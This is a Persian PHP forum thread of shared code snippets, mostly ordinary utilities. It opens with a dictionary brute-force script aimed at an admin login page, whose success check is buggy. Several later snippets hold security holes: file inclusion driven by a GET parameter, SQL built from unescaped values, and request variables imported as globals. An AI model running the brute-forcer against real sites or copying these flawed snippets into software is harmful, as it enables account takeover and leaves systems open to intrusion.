//////////
Printable View
//////////
این یه نمونه بروت فورس برای پسورد هست:
یک جورایی حدث پسورد و نفوذ به ادمین.
brute force
$fh = fopen("dic1.txt", "r");
while(!feof($fh)) {
$curl = curl_init();
$pass = fgets($fh,1024);
$data = fread($fh, filesize('dic1.txt'));
curl_setopt($curl, CURLOPT_URL,"http://www.domain.com/admin.php");
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "Uname=admin&Pword=$pass&Submit=True");
curl_exec ($curl);
curl_close ($curl);
$result = eregi("Incorrect", $data);
if ( $result == 0 ) {
echo "$pass is the password!";
break;
fclose($fh);
}
}
در این قسمت شما باید متغیر هایی که در متد GET استفاده میشه رو قرار بدید...
"Uname=admin&Pword=$pass&Submit=True"
بجای Uname و Pword کلماتی که در مرورگر سایت برای این مورد استفاده میشه...
این یه کد اولیه هست که باید طبق نیازت کاستوم کنید
=======
پ ن : لطفا در مورد کدهایی که میذارید یک توضیح کوچیکی بدید از کارش
//////////
سلام.
مي دونم بايد يه تاپيك جداگانه بزنم اما گفتم اگر اينجا باشه شايد بدرد ديگران هم بخوره و بيشتر ديده بشه.
من يه فانكشن مي خوام كه كه بهش يه عبارت بديم و اون رو انكد كنه و همچنين يه فانكشن كه بتونه ديكد كنه.
تشخیص موقعیت از روی IP :
function detect($ip) {
$default = 'UNKNOWN';
if (!is_string($ip) || strlen($ip) < 1 || $ip == '127.0.0.1' || $ip == 'localhost') {
$ip = '8.8.8.8';
}
$curlopt_useragent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)';
$url = 'http://ipinfodb.com/ip_locator.php?ip=' . urlencode($ip);
$ch = curl_init();
$curl_opt = array(
CURLOPT_FOLLOWLOCATION => 1,
CURLOPT_HEADER => 0,
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_USERAGENT => $curlopt_useragent,
CURLOPT_URL => $url,
CURLOPT_TIMEOUT => 1,
CURLOPT_REFERER => 'http://' . $_SERVER['HTTP_HOST'],
);
curl_setopt_array($ch, $curl_opt);
ob_start();
curl_exec($ch);
$content = ob_get_contents();
ob_end_clean();
curl_close($ch);
if(preg_match('#<li>City : ([^<]*)</li>#i', $content, $regs)) {
$city = $regs[1];
}
if(preg_match('#<li>State/Province : ([^<]*)</li>#i', $content, $regs)) {
$state = $regs[1];
}
if($city != '' && $state != '') {
$location = $city . ', ' . $state;
return $location;
}
else {
return $default;
}
}
تعداد طرفداران صفحه شما در FaceBook :
<?php
function fb_fan_count($facebook_name) {
// Example: https://graph.facebook.com/barnamenevis.ir
$data = json_decode(file_get_contents("https://graph.facebook.com/".$facebook_name));
echo $data->likes;
}
?>
مشاهده میزان حافظه مصرفی اسکریپت شما:
<?php
echo "Initial: ".memory_get_usage()." bytes \n";
/* prints
Initial: 361400 bytes
*/
// let's use up some memory
for ($i = 0; $i < 100000; $i++) {
$array []= md5($i);
}
// let's remove half of the array
for ($i = 0; $i < 100000; $i++) {
unset($array[$i]);
}
echo "Final: ".memory_get_usage()." bytes \n";
/* prints
Final: 885912 bytes
*/
echo "Peak: ".memory_get_peak_usage()." bytes \n";
/* prints
Peak: 13687072 bytes
*/
?>
میتونید کارهای زیادی انجام بدین. مثلاً حافظه مصرفی ابتدا و انتهای اسکریپت رو بدست بیارین و از هم کم کنید تا بفهمید کدتون چقدر در مصرف حافظه بهینه عمل میکنه!
Whois با PHP :
<?php
function whois_query($domain) {
// fix the domain name:
$domain = strtolower(trim($domain));
$domain = preg_replace('#^http:\/\/#i', '', $domain);
$domain = preg_replace('#^www\.#i', '', $domain);
$domain = explode('/', $domain);
$domain = trim($domain[0]);
// split the TLD from domain name
$_domain = explode('.', $domain);
$lst = count($_domain)-1;
$ext = $_domain[$lst];
// You find resources and lists
// like these on wikipedia:
//
// http://de.wikipedia.org/wiki/Whois
//
$servers = array(
'ac' => 'whois.nic.ac',
'ae' => 'whois.uaenic.ae',
'aero' => 'whois.information.aero',
'at' => 'whois.ripe.net',
'au' => 'whois.aunic.net',
'be' => 'whois.dns.be',
'bg' => 'whois.ripe.net',
'biz' => 'whois.neulevel.biz',
'br' => 'whois.registro.br',
'bz' => 'whois.belizenic.bz',
'ca' => 'whois.cira.ca',
'cc' => 'whois.nic.cc',
'ch' => 'whois.nic.ch',
'cl' => 'whois.nic.cl',
'cn' => 'whois.cnnic.net.cn',
'com' => 'whois.internic.net',
'coop' => 'whois.nic.coop',
'cz' => 'whois.nic.cz',
'de' => 'whois.nic.de',
'edu' => 'whois.internic.net',
'fr' => 'whois.nic.fr',
'gov' => 'whois.nic.gov',
'hu' => 'whois.nic.hu',
'ie' => 'whois.domainregistry.ie',
'il' => 'whois.isoc.org.il',
'in' => 'whois.ncst.ernet.in',
'info' => 'whois.nic.info',
'int' => 'whois.iana.org',
'ir' => 'whois.nic.ir',
'mc' => 'whois.ripe.net',
'mil' => 'rs.internic.net',
'name' => 'whois.nic.name',
'net' => 'whois.internic.net',
'nl' => 'whois.domain-registry.nl'
'org' => 'whois.pir.org',
'ru' => 'whois.ripn.net',
'to' => 'whois.tonic.to',
'tv' => 'whois.tv',
'us' => 'whois.nic.us',
);
if (!isset($servers[$ext]) || !in_array($ext, $servers)) {
die('Error: No matching nic server found!');
}
$nic_server = $servers[$ext];
$output = '';
// connect to whois server:
if ($conn = fsockopen ($nic_server, 43)) {
fputs($conn, $domain."\r\n");
while(!feof($conn)) {
$output .= fgets($conn, 128);
}
fclose($conn);
}
else {
die('Error: Could not connect to ' . $nic_server . '!');
}
return $output;
}
?>
میتونید سرورهای Whois رو کاملتر کنید.
فرستادن خطاهای PHP به ایمیل شما بجای نمایش در صفحه:
<?php
// Our custom error handler
function mail_error_handler($number, $message, $file, $line, $vars) {
$email = "
<p>An error ({$number}) occurred on line
<strong>{$line}</strong> and in the <strong>file: {$file}.</strong>
<p> {$message} </p>";
$email .= "<pre>" . print_r($vars, 1) . "</pre>";
$headers = 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
// Email the error to someone...
@mail($email, 'PHP_ERROR', 'you@youremail.com', $headers);
// Make sure that you decide how to respond to errors (on the user's side)
// Either echo an error message, or kill the entire project. Up to you...
// The code below ensures that we only "die" if the error was more than
// just a NOTICE.
if (($number !== E_NOTICE) && ($number < 2048)) {
die('There was an error. Please try again later.');
}
}
// We should use our custom function to handle errors.
set_error_handler('mail_error_handler');
// Trigger an error... (var doesn't exist)
echo $somevarthatdoesnotexist;
?>
//////////
تشخیص حجم فایل یک لینک
مثلا حجم یک فایل زیپ یک لینک دانلود رو که از سایت دیگه است رو مشخص میکنه:لبخند:
<?php
$remoteFile = 'http://download.thinkbroadband.com/5MB.zip';
$ch = curl_init($remoteFile);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$data = curl_exec($ch);
curl_close($ch);
if ($data === false) {
echo 'cURL failed';
exit;
}
$contentLength = 'unknown';
$status = 'unknown';
if (preg_match('/^HTTP\/1\.[01] (\d\d\d)/', $data, $matches)) {
$status = (int)$matches[1];
}
if (preg_match('/Content-Length: (\d+)/', $data, $matches)) {
$contentLength = (float)$matches[1];
}
//echo 'HTTP Status: ' . $status . "\n";
//echo 'Content-Length: ' . $contentLength;
function format_bytes($contentLength) {
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $contentLength >= 1024 && $i < 4; $i++) $contentLength /= 1024;
return round($contentLength, 2).$units[$i];
}
echo format_bytes($contentLength);
?>
تعداد حروف در یک رشته رو هم اضافه کن واقعاً مشکل دارم، در ضمت سورت کردن بر اساس حروف الفبا هم یه مشکل جدی تر برامه
ایندکس کردن مجدد آرایهfunction reindex($x, $key_value) { $ret = array(); foreach($x as $_ => $v) { $ret[$v["$key_value"]] = $v; } return $ret; }
حذف اولین کاراکتر از رشته:echo substr("12345678", 1); // 2345678
پیدا کردن پسوند فایل از روی نام فایل یا آدرس :function get_extension($file) { $extension = end(explode(".", $file)); return $extension ? $extension : false; }
محاسبه تعداد فایل در دایرکتوری:$dir_path = "media/"; $wcount = count(glob("" .$dir_path. "*.jpg"));
خسته نباشید .
اول ممنون بابت پست های مفیدتون . یک سوالی در مورد کدتون داشتم . با این کد می تونیم فقط مقدار فضای اشغالی از هاست رو بفهمیم ؟ یعنی فایل ها و عکس هایی که در هاست قرار داره ؟
اگر جوابتون مثبته آیا فضای اشغالی که دیتابیس قرار داره هم محاسبه می کنه ؟
در کل منظورم اینه که مقدار فایل ها و پوشه ها و عکس ها و حجم دیتابیس یک مقداری رو اشغال می کنن آیا این کد : میزان حافظه اشغالی از این مجموعه رو بهم نمایش میده یا خیر
با تشکر
1. Human Readable Random String
This code will create a human readable string that will look more close to dictionary words, useful for captchas.
/**************
*@length - length of random string (must be a multiple of 2)
**************/
function readable_random_string($length = 6){
$conso=array("b","c","d","f","g","h","j","k","l",
"m","n","p","r","s","t","v","w","x","y","z");
$vocal=array("a","e","i","o","u");
$password="";
srand ((double)microtime()*1000000);
$max = $length/2;
for($i=1; $i<=$max; $i++)
{
$password.=$conso[rand(0,19)];
$password.=$vocal[rand(0,4)];
}
return $password;
}
با سلام
کلاسی برای باز کردن صفحات وب در سمت سرور.
متد اصلی این کلاس یک URL را میگیرد و آن را باز میکند.
تنها کاری که نیاز هست انجام دهیم این هست که آدرس URL را به تابع اصلی آن بدهیم تا سایت را باز کند و در صورتی که بخواهیم دیتایی را به آن URL ارسال کنیم باید آن را به عنوان آرگومان دوم به تابع بدهیم.
مزیت های این کلاس:
کار با کوکی ها (در صورتی که در پاسخ URL کوکی باشد آنرا ذخیره کرده و به همراه درخواست های بعدی ارسال میکند.)
امکان اضافه و کم کردن کوکی ها.
امکان اضافه کردن Referere به هدرها.
امکان اضافه کردن هدر های سفارشی
پشتیبانی از gzip در ورودی دیتا. (با این امکان حجم داده های دریافتی تا چند برابر کمتر میشوند ، در صورتی که سرور مورد نظر ما از آن پشتیبانی کند.)
پشتیبانی از SSL برای کار با پروتکل Https
در صورت وجود Location در هدر دریافتی به صورت اتوماتیک به لینک جدید میرود
و مهمترین ویژگی اون فکر میکنم سادگی کار با اون هست.
یک نمونه:
<?php
include_once("browser.class.php");
$ff = new Browser();
$ff->Open("http://www.google.com/");
echo $ff->Response['body'];
?>
برای دریافت فایل کلاس و توضیحات کاملتر و بیان نظرات و سوالات به تاپیک آن مراجعه کنید.
لینک تاپیک
تبدیل دیتابیس غیر Unicode به Unicode بصورت خودکار
امروز دیدم یکی از دوستان مشکلی توی نمایش حروف فارسی ذخیره شده توی دیتابیس داشت که با راهنمایی که کردیم، اطلاعات جدید رو تونست به درستی ذخیره کنه ولی اطلاعات قبلی که توی دیتابیس داشت، چون یونیکد ذخیره نشده بود، همچنان بهم ریخته ظاهر میشد. گفتم بشینم یک Converter بنویسم که به راحتی دیتابیسهای غیر یونیکد رو تبدیل به یونیکد میکنه. اینم از کد:
<!doctype html>
<html>
<head>
<title>DB Conversion to UTF-8</title>
<meta charset="utf-8"/>
</head>
<body>
<?php
// Prevent script time-out error
set_time_limit(0);
define('HOST', 'localhost'); // Your MySQL host name
define('NAME', 'newbarnamenevis'); // Your database name
define('PASS', 'barnamenevis'); // Your MySQL password
define('USER', 'root'); // Your MySQL username
// Extract tables of a database
$tables = array();
// Connect to DBMS
mysql_connect(HOST, USER, PASS) or die('Connection error');
mysql_select_db(NAME) or die('Database error');
// Extract table names
$result = mysql_query('SHOW TABLES');
if($result && mysql_num_rows($result) > 0) {
while($row = mysql_fetch_row($result)) {
$tables[$row[0]] = array(
'query' => '',
'values' => array(),
);
}
mysql_free_result($result);
}
// Create each table's utf-8 create query and extract current values
foreach($tables as $name => $table) {
$result = mysql_query('SHOW CREATE TABLE `' . $name . '`');
if($result && mysql_num_rows($result)) {
$row = mysql_fetch_row($result);
$query = $row[1];
if(preg_match('#(default charset)=([^\s]+)#i', $query)) {
$query = preg_replace('#(default charset)=([^\s]+)#i', '$1=utf8', $query);
}
else {
$query .= ' DEFAULT CHARSET=utf8';
}
if(preg_match('#(collate)=([^\s]+)#i', $query)) {
$query = preg_replace('#(collate)=([^\s]+)#i', '$1=utf8_bin', $query);
}
else {
$query .= ' COLLATE=utf8_bin';
}
$tables[$name]['query'] = $query;
mysql_free_result($result);
}
$result = mysql_query('SELECT * FROM `' . $name . '`');
if($result && mysql_num_rows($result) > 0) {
$i = 0;
while($row = mysql_fetch_row($result)) {
$tables[$name]['values'][$i] = array();
foreach($row as $item) {
$tables[$name]['values'][$i][] = $item;
}
$i++;
}
mysql_free_result($result);
}
}
// Now switch to utf-8 encoding
mysql_query('SET NAMES \'utf8\'');
// Drop old tables, create new utf-8 tables and store values into new tables
foreach($tables as $name => $table) {
echo '<p>TABLE: `' . $name;
mysql_query('DROP TABLE IF EXISTS `' . $name . '`');
mysql_query($table['query']);
if(count($table['values']) > 0) {
foreach($table['values'] as $value) {
$query = 'INSERT INTO `' . $name . '` VALUES (';
foreach($value as $item) {
$query .= '\'' . $item . '\',';
}
$query = mb_substr($query, 0, -1, 'utf-8') . ')';
mysql_query($query);
}
}
echo $name . '` DONE.</p>' . PHP_EOL;
}
?>
</body>
</html>
فایل رو هم ضمیمه کردم. فقط قبلش 4 تا define اول اسکریپت رو با اطلاعات دیتابیس خودتون تنظیم کنید.
روش کارش هم جالبه:
1- استخراج تمام جدولهای توی دیتابیس
2- استخراج کوئری ساخت جداول
3- جایگزینی Collation با utf-8
4- استخراج تمام اطلاعات جداول با کدگذاری قبلی
5- حذف تمام جداول
6- ساخت جداول با همون ساختار قبلی ولی با کدگذاری یونیکد
7- درج مقادیر قبلی توی جدول جدید با کدگذاری یونیکد
اگه سؤالی بود در خدمتم.
سایت ipinfodb موقع مکانی IP رو به شما نمیده، بلکه موقعیت مکانی ISP شما رو اعلام میکنه. نه فقط این سایت، بلکه تمام سایتهای مشابه مثل IP2Location و... به همین روش کار میکنن و یک دیتابیس عظیم از آدرس IP شرکتهای ISP تهیه کردن و براساس اون کار میکنن. پیدا کردن موقعیت مکانی واقعی شما امکان پذیر نیست. فرض کنید با مودم Wireless یا WiMAX یا GPRS یا Edge و... دارین کار میکنید و درحال حرکت، به اینترنت وصل شدین. اونوقت چطوری میشه موقعیت دقیق شما رو پیدا کرد؟ اگه امکان پذیر بود که نیازی به اختراع GPS نداشتیم. درسته؟
سلام
این فایل اموزشی که امروز اماده کردم شامل یک اموزش(pdf) برای ساخت یک سیستم عضویت کاربر و ورود کاربر به همراه پنل کاربری ساده می باشد و اسکریپت + یک کد کاربردی دیگر که خیلی از سوال های تازه کار ها رو جواب میده لطفا پیشنهاد و انتقادات خودتون رو بهم بگین درضمن اگه غلط املائی داره یا اشتباه تایپی به بزرگی خودتون ببخشید اخه با عجله نوشتم
امیدوارم به درد بخوره
موفق باشید
جهت دانلود کلیک کنید
رمز:rayared
فشرده سازی خودکار فایلهای CSS با PHP
<?php
ob_start('compress');
header('Content-Type: text/css');
function compress($buffer) {
/* remove comments */
$buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);
/* remove tabs and newlines, etc. */
$buffer = str_replace(array("\r\n", "\r", "\n", "\t"), '', $buffer);
/* remove unnecessary whitspaces */
$buffer = preg_replace('#[\s]{2,}#', ' ', $buffer);
return $buffer;
}
/* your css files */
if(isset($_GET['css']) && file_exists($_GET['css'])) {
require_once $_GET['css'];
}
ob_end_flush();
?>
مثالی از نحوه استفاده:
کد HTML:<link href="csscompress.php?css=style.css" rel="stylesheet" type="text/css"/>
تولید خودکار لینک کوتاه برای URLهای شما
function getTinyUrl($url) {
return file_get_contents('http://tinyurl.com/api-create.php?url=' . $url);
}
جلوگیری از Cache شدن فایلهای CSS و JS و... توسط مرورگر بازدیدکنندگان
نکته: وجود ? و بعد از آن، درج Timestamp باعث میشود که مرورگر فایل درخواستی را پویا فرض کند (دارای پارامتر دریافتی به روش GET است) و درنتیجه از نسخه Cacheشده استفاده نمیکند و همیشه نسخه موجود در سایت را درخواست مینماید. از همین روش برای فایلهای JS نیز میتوان استفادهکرد. مثال:کد HTML:<link href="/stylesheet.css?<?php echo time(); ?>" rel="stylesheet" type="text/css"/>
کد HTML:<script src="/action.js?<?php echo time(); ?>" type="text/javascript"></script>
خیلی عالیه ممنون دوستان
کل اسنیپتهایی که دوستان تا به حال زحمتش رو کشیدن و همچنین اسنیپتهای سایت phpsnips.com ( بر اساس گروهبندی خود سایت) رو میتونید از لینک زیر دانلود کنید.
دانلود کل اسنیپها
من که تست کردم کار کرد. ببینید، IP کشف شده متعلق به ISP شماست نه خود شما چون شما پشت NAT قرار دارین. این قضیه برای تمام کامپیوترهایی که Valid IP ندارن صدق میکنه و ارتباطی به کشور نداره.
نسخه شئ گرای اسکریپت تولید خودکار SiteMap که قبلاً نوشته بودم:
<?php
/**
* Automated XML Site Map Generator
* @author Mohammad Mostafa Shahreki
* @copyright All rights reserved for barnamenevis
* @link http://www.barnamenevis.ir
*/
class SiteMap {
/**
* @var array Ignore the file/folder if these words appear anywhere in the name
*/
private static $alwaysIgnore;
/**
* @var array Allowed extensions to consider in sitemap
*/
private static $extensions;
/**
* @var array The script will not enter these folders
*/
private static $ignoreDirs;
/**
* @var array These files will not be linked in the sitemap
*/
private static $ignoreFiles;
/**
* @var string Where is the root of the site path
*/
private static $root;
/**
* @var string The Url of the site - the last '/' is needed
*/
private static $url;
/**
* This function extracts pages
* @param string $currentDir The current direcotry
* @return array The array of extracted pages
*/
private static function getPages($currentDir) {
$pages = array();
chdir($currentDir);
$ext = '{*.' . implode(',*.', self::$extensions) . '}';
$files = glob($ext, GLOB_BRACE);
foreach($files as $file) {
$flag = true;
if(in_array($file, self::$ignoreFiles)) {
$flag = false;
}
else {
foreach(self::$alwaysIgnore as $ignore) {
if(strpos($file, $ignore) !== false) {
$flag = false;
}
}
}
if($flag) {
$pages[] = self::$url . ($currentDir != self::$root ? $currentDir . '/' : '') . $file;
}
}
$dirs = glob('{*,*.*}', GLOB_BRACE | GLOB_ONLYDIR);
foreach($dirs as $dir) {
$flag = true;
if(in_array($dir, self::$ignoreDirs)) {
$flag = false;
}
else {
foreach(self::$alwaysIgnore as $ignore) {
if(strpos($dir, $ignore) !== false) {
$flag = false;
}
}
}
if($flag) {
$cwd = getcwd();
$pages = array_merge($pages, self::getPages(str_replace('\\', '/', $dir)));
chdir($cwd);
}
}
return $pages;
}
/**
* Generate site map and store it in sitemap.xml in the site root folder
* @param string $url The main URL of the site
* @param string $root (Optional) The root path of the site (if not specified, the current directory of this file is used)
* @param string $extensions (Optional) The comma separated string of extensions to index in the site map
* @param string $alwaysIgnore (Optional) The current processing file/folder is ignored if contains any of words of this comma separated string
* @param string $ignoreDirs (Optional) The directories mentioned in this comma separated string will not be scanned
* @param string $ignoreFiles (Optional) The files mentioned in this comma separated string will be ommited from the site map
*/
public static function Generate($url, $root = NULL, $extensions = NULL, $alwaysIgnore = NULL, $ignoreDirs = NULL, $ignoreFiles = NULL) {
self::$url = trim($url, '/') . '/';
self::$root = ($root === NULL ? str_replace('\\', '/', dirname(__FILE__)) : $root);
self::$extensions = ($extensions === NULL ? array('htm', 'html', 'php') : explode(',', $extensions));
self::$alwaysIgnore = ($alwaysIgnore === NULL ? array('.inc', 'admin', 'image') : explode(',', $alwaysIgnore));
self::$ignoreDirs = ($ignoreDirs === NULL ? array('admin', 'css', 'images', 'inc', 'js', 'lib', 'styles', 'uploads') : explode(',', $ignoreDirs));
self::$ignoreFiles = ($ignoreFiles === NULL ? array('404.html', 'config.php', 'include.inc') : explode(',', $ignoreFiles));
$cwd = getcwd();
$all_pages = self::getPages(self::$root);
chdir($cwd);
$output = '';
$output .= '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL;
$output .= '<urlset xmlns="http://www.google.com/schemas/sitemap/0.84" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.google.com/schemas/sitemap/0.84 http://www.google.com/schemas/sitemap/0.84/sitemap.xsd">' . PHP_EOL;
//Process the files
foreach ($all_pages as $link) {
//Find the modified time.
if(preg_match('#index\.\w{3,4}$#', $link)) {
$link = preg_replace('#index\.\w{3,4}$#', '', $link);
}
$output .= ' <url>' . PHP_EOL;
$output .= ' <loc>' . htmlentities($link, ENT_QUOTES, 'utf-8') . '</loc>' . PHP_EOL;
$output .= ' </url>' . PHP_EOL;
}
$output .= '</urlset>' . PHP_EOL;
file_put_contents(self::$root . '/sitemap.xml', $output);
@chmod(self::$root . '/sitemap.xml', 0644);
}
}
?>
مثالی از نحوه استفاده:
<?php
require_once 'class.sitemap.php';
SiteMap::Generate('http://localhost/sitemap', NULL, 'php', 'admin', 'languages,plugins,upgrade,uploads,wp-includes', 'wp-cron.php');
?>
یا میتونید توی همون فایل کلاس، این کد رو به انتهاش اضافه کنید:
SiteMap::Generate('http://localhost/sitemap', NULL, 'php', 'admin', 'languages,plugins,upgrade,uploads,wp-includes', 'wp-cron.php');
و توسط Cron Jobs (در فواصل زمانی مشخص) یا توی اسکریپتتون (هرموقع مطالب تغییر کرد) فایل رو ضمیمه کنید.
نکته:
این اسکریپت ازروی فایلهای سایتتون SiteMap رو میسازه. اگه سایتتون Dynamic هست و مطالب با روشهایی مثل Get و... ازطریق یک صفحه خاص استخراج میشن، بهترین و ساده ترین کار، استخراج لینکهای اطلاعات از دیتابیس و تولید فایل SiteMap.xml هست.
بدست آوردن اندازه فایلها با واحد B و KB و MB و... بطور خودکار :
<?php
function FormatSize($url, $remote = false, $precision = 2) {
$bytes = 0;
if(!$remote) {
if(file_exists($url)) {
$bytes = filesize($url);
}
}
else {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Not necessary unless the file redirects
$data = curl_exec($ch);
curl_close($ch);
if ($data === false) {
return -1;
}
if (preg_match('#Content-Length: (\d+)#i', $data, $matches)) {
$bytes = trim($matches[1]);
}
}
settype($bytes, 'double');
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$len = count($units);
for ($i = 0; $bytes >= 1024 && $i < $len; $i++) {
$bytes /= 1024;
}
return round($bytes, $precision) . $units[$i];
}
/* Usage Samples:
echo '<p>' . FormatSize('images/logo.png') . '</p>' . PHP_EOL;
echo '<p>' . FormatSize('http://www.google.com/images/srpr/logo4w.png', true) . '</p>' . PHP_EOL;
*/
?>
این اسکریپت حتی سایز فایل سایتهای دیگه و حتی لینک فایلهای RapidShare و... رو هم میتونه استخراج کنه.
مهندس جان نوشتید یا نقل کردید؟
کدوم اسکریپت رو میگین؟ منظورتون رو از این لحن صحبت متوجه نمیشم (بنظر کنایه آمیز میاد). تقریباً تمام اسکریپتهایی که میگذارم رو نوشتم و اگه مورد خاصی باشه که نقل قول باشه، منبعش رو اعلام میکنم.
سلام. نه کنایه امیز نیست اشتباه نکن شاید لحن اینطوری باشه. اصلا فقط سوال بود همین چون اسکریپت جالبی بود و نمونه دیدم بودم پرسیدم
بجز اسکریپت آخر (نمایش اندازه فایل) که بخش کوچکی از اون (انتخاب واحد مناسب برای نمایش اندازه) رو از سایت دیگری که آدرسش متأسفانه یادم نیست، بقیه رو خودم نوشتم. درصورت تمایل میتونم لینک PasteBin اونها و صفحه فیسبوک مربوطه رو هم ارائه بدم (هرچند نیازی نیست). بهرحال امیدوارم کدهای کارآمد و خوبی باشه و به درد دوستان بخوره.
//////////
در واقع این تابع متن رو گرفته و کلمات پرتکرار رو باز میگردونه و در نتیجه باعث بهتر شدن سئو سایت میشه.
تابع 4 ورودی داره. که اولی اجباریه.
text$ : متن مورد نظر
strlen$ : حداکثر طول رشته خروجی
word$ : حداکثر تعداد کلمات خروجی
shortlen$ : کلمات تعداد حروفشان کمتر از این مقدار باشند حذف میشوند. (مثلا بطور پیشفرض عبارتهای دو حرفی مثل "از"، "و" حذف میشوند.)
نسخه معادل تابع import_request_variables که در نسخه های جدید PHP حذف شده
این تابع هم در نوع خودش خیلی کاربردی بود و نمیدونم چرا حذفش کردن ولی بهرحال، برای کارهای شخصی خودم، اون رو بازنویسی کردم (با همون کارآیی) که میتونید ازش استفاده کنید:
function ImportRequestVariables($keys, $prefix = '') {
for($i = 0; $i < strlen($keys); $i++) {
switch(strtolower(substr($keys, $i, 1))) {
case 'g':
foreach($_GET as $index => $value) {
$name = $prefix . $index;
global $$name;
$$name = $value;
}
break;
case 'p':
foreach($_POST as $index => $value) {
$name = $prefix . $index;
global $$name;
$$name = $value;
}
break;
case 'c':
foreach($_COOKIE as $index => $value) {
$name = $prefix . $index;
global $$name;
$$name = $value;
}
break;
}
}
}
برای مثال، اگه به شکل زیر صداش بزنید:
ImportRequestVariables('p', 'p_');
میتونید توی بقیه کدتون بجای ['POST['user_$ و ['POST['pass_$ به سادگی از متغیرهای p_user$ و p_pass$ استفاده کنید.
extract میتونه مثل این تابع، اگه پارامتر اول رو gp دادیم، اول متغیرهای Get رو تبدیل به متغیر عادی کنه و بعد متغیرهای Post معادل رو جایگزین کنه (کاری که توی import_request_variables خود PHP انجام میشد)؟ البته داخل تابع رو میشه با extract کمی ساده تر کرد ولی این کد رو خیلی وقت پیش نوشته بودم و بخاطر همین از تابع خاصی داخلش استفاده نشده.
تابعی مفید برای اینکد کردن url ها.
وقتی مفیده که بخواین مثلا از rss که لینک هاش حاوی کلمات فارسی هست، url صفحه ای رو گرفته سپس اون صفحه رو با cUrl بخواین باز کنید.
function safe_urlencode($txt){
// Skip all URL reserved characters plus dot, dash, underscore and tilde..
$result = preg_replace_callback("/[^-\._~:\/\?#\\[\\]@!\$&'\(\)\*\+,;=]+/",
function ($match) {
// ..and encode the rest!
return rawurlencode($match[0]);
}, $txt);
return ($result);
}
با سلام
با استفاده از این تکه کد می تونید تاریخ و ساعت رو به شکل های ۲ دقیقه پیش ، ۱ ساعت و ۱۰ دقیقه پیش نمایش بدید
public function Timeago($time,$format='Y/m/d H:i:s'){
$now=time();
if(is_string($time) && strlen(intval($time))!=10){
$time=strtotime($time);
}
$ago='پیش';
if($now<$time){
$diff=$time-$now;
$ago='بعد';
}else $diff=$now-$time;
if($diff<30) $output='همین حالا';
else if($diff>=30 && $diff<60) $output=$diff.' ثانیه '.$ago;
else if($diff>=60 && $diff<120) $output='کمتر از '.($diff/60).' دقیقه'.$ago;
else if($diff>=120 && $diff<3600){
$min=intval($diff/60);
$sec=intval($diff-($min*60));
$output=$min.' دقیقه'.($sec!=0?' و '.$sec.' ثانیه ':' ').$ago;
}else if($diff>=3600 && $diff<(24*3600)){
$h=intval($diff/3600);
$min=intval(($diff-($h*3600)) / 60);
$output=$h.' ساعت'.($min!=0?' و '.$min.' دقیقه ':' ').$ago;
}else if($diff>=(24*3600) && $diff<(2*24*3600)){
if($ago=='پیش') $output='دیروز';
else $output='فردا';
$output.=' ساعت '.date('H:i:s',$time);
}else $output=date($format,$time);
return $output;
}
طرز استفاده هم به این صورت هست شما زمان رو به عنوان پارامتر می فرستید و تابع خروجی مناسب رو برمی گردونه
مثال
ورودی -> 1378461081 ====> خروجی -> دیروز ساعت 14:21:21
ورودی -> strtotime('-5 mins') ====> خروجی -> ۵ دقیقه پیش
ورودی -> strtotime('+5 mins') ====> خروجی -> ۵ دقیقه بعد
با استفاده از کد زیر میتوانیم هر فایلی را تا تعداد999 تکه splitکنیم. در ضمن این کد قابلیت rejoinفایل های split شده را دارد.
$filename = "http://www.iyinet.com/my-big-file.zip";
$targetfolder = '/tmp';
$piecesize = 10; // splitted file size in MB
$buffer = 1024;
$piece = 1048576*$piecesize;
$current = 0;
$splitnum = 1;
if(!file_exists($targetfolder)) {
if(mkdir($targetfolder)) {
echo "Created target folder $targetfolder".br();
}
}
if(!$handle = fopen($filename, "rb")) {
die("Unable to open $filename for read! Make sure you edited filesplit.php correctly!".br());
}
$base_filename = basename($filename);
$piece_name = $targetfolder.'/'.$base_filename.'.'.str_pad($splitnum, 3, "0", STR_PAD_LEFT);
if(!$fw = fopen($piece_name,"w")) {
die("Unable to open $piece_name for write. Make sure target folder is writeable.".br());
}
echo "Splitting $base_filename into $piecesize Mb files ".br()."(last piece may be smaller in size)".br();
echo "Writing $piece_name...".br();
while (!feof($handle) and $splitnum < 999) {
if($current < $piece) {
if($content = fread($handle, $buffer)) {
if(fwrite($fw, $content)) {
$current += $buffer;
} else {
die("filesplit.php is unable to write to target folder. Target folder may not have write permission! Try chmod +w target_folder".br());
}
}
} else {
fclose($fw);
$current = 0;
$splitnum++;
$piece_name = $targetfolder.'/'.$base_filename.'.'.str_pad($splitnum, 3, "0", STR_PAD_LEFT);
echo "Writing $piece_name...".br();
$fw = fopen($piece_name,"w");
}
}
fclose($fw);
fclose($handle);
echo "Done! ".br();
exit;
function br(){
return (!empty($_SERVER['SERVER_SOFTWARE']))?'':"\n";
}
با استفاده از این کد می تونید خروجی اکسل بگیرید :
function xlsBOF() {
echo pack("ssssss", 0x809, 0x8, 0x0, 0x10, 0x0, 0x0);
return;
}
//*********************************************
function xlsEOF() {
echo pack("ss", 0x0A, 0x00);
return;
}
//*********************************************
function xlsWriteNumber($Row, $Col, $Value) {
echo pack("sssss", 0x203, 14, $Row, $Col, 0x0);
echo pack("d", $Value);
return;
}
//*********************************************
function xlsWriteLabel($Row, $Col, $Value ) {
$L = strlen($Value);
echo pack("ssssss", 0x204, 8 + $L, $Row, $Col, 0x0, $L);
